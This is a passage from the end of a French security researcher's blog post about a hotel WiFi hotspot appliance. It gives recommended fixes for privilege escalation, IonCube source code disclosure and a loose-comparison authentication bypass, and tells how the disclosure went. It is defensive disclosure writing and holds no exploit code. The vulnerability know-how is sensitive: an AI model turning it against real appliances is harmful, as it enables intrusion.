| Élévation de privilèges | Les commandes telles que les interpréteurs, les gestionnaires de paquets ou les éditeurs de texte sont particulièrement vulnérables à l’élévation de privilèges du fait de leurs fonctionnalités. Il est recommandé de restreindre les possibilités aux seules commandes nécessaires à l’utilisateur apache. |
| Divulgation du code source | Dans ce cas, il n’y a pas grand-chose à faire. La sécurité par l’obscurité m’a ralenti ici, mais elle n’est jamais infaillible. J’ai noté que la solution IonCube était vraiment obsolète et que les dernières versions ne semblent pas avoir été impactées par les décodeurs ; je recommanderais de la mettre à jour. |
| Contournement d’authentification (bonus) | Si ce problème est testé et avéré, alors un simple opérateur de comparaison stricte === suffit à le corriger, plutôt que la comparaison lâche qui utilise actuellement ==. |
Globalement, l’appliance comportait plusieurs logiciels et bibliothèques sévèrement obsolètes, ce qui aurait pu engendrer davantage de vulnérabilités. De plus, dans le cas où cette solution de N.V.K devrait passer un audit de sécurité par un régulateur, le manque de mises à jour pourrait ne pas être considéré comme commercialement acceptable. Je recommande fortement de se concentrer sur les mises à jour pour la prochaine version majeure.
Conclusion
Cette expérience fut amusante, tout particulièrement car je n’avais jamais rencontré ce mode d’obfuscation avec IonCube auparavant. Le manque de privilèges de l’utilisateur root sur MySQL et l’absence d’identifiants ou de secrets en clair sont deux points positifs à souligner pour N.V.K. L’obfuscation du code source PHP, quant à elle, m’a tout de même bien ralenti.
Encore une fois, cette recherche a été réalisée avec éthique, et a suivi le principe de divulgation responsable, impliquant que l’éditeur a eu au moins 6 mois pour corriger les vulnérabilités avant une divulgation au grand public (avec la possibilité, pour le développeur, de négocier davantage).
Une fois ce délai passé, j’ai tenté d’enregistrer ces vulnérabilités auprès de MITRE pour obtenir plusieurs numéros de CVE. La requête a été rejetée par une réponse courte et rapide de MITRE :
This request is in regard to a beta version of the product. We do not assign for beta versions.
En effet, la version était bien une BETA, et recenser les vulnérabilités à un tel niveau de granularité ne serait pas envisageable. C’est là qu’il est dangereux de déployer des versions BETA en production : il n’y a pas (ou peu) de visibilité sur les vulnérabilités impactant ces versions. Bien que cela semble logique (et même relever du bon sens), il est très courant d’en voir dans la nature … comme dans cet hôtel où je me trouvais :)
Remarque : De plus, les vulnérabilités publiques ne représentent que la partie visible de l’iceberg.
J’espère simplement que cela contribuera à une solution de hotspot WiFi plus sécurisée. Dans tous les cas, lorsque vous vous connectez à un WiFi public, veillez toujours à utiliser un VPN tel que celui de Proton.
Sawasdee Kha 🙏
Liens
- Site officiel de la société N.V.K
- Site officiel de N.V.K iBSG
- Site de GTFOBins
- Site web officiel du VPN Proton
- Site web officiel de la WaybackMachine
- Site web officiel d’IonCube
Contact
Pour toute suggestion d’amélioration ou simplement me contacter : contact@lionsec.lu.












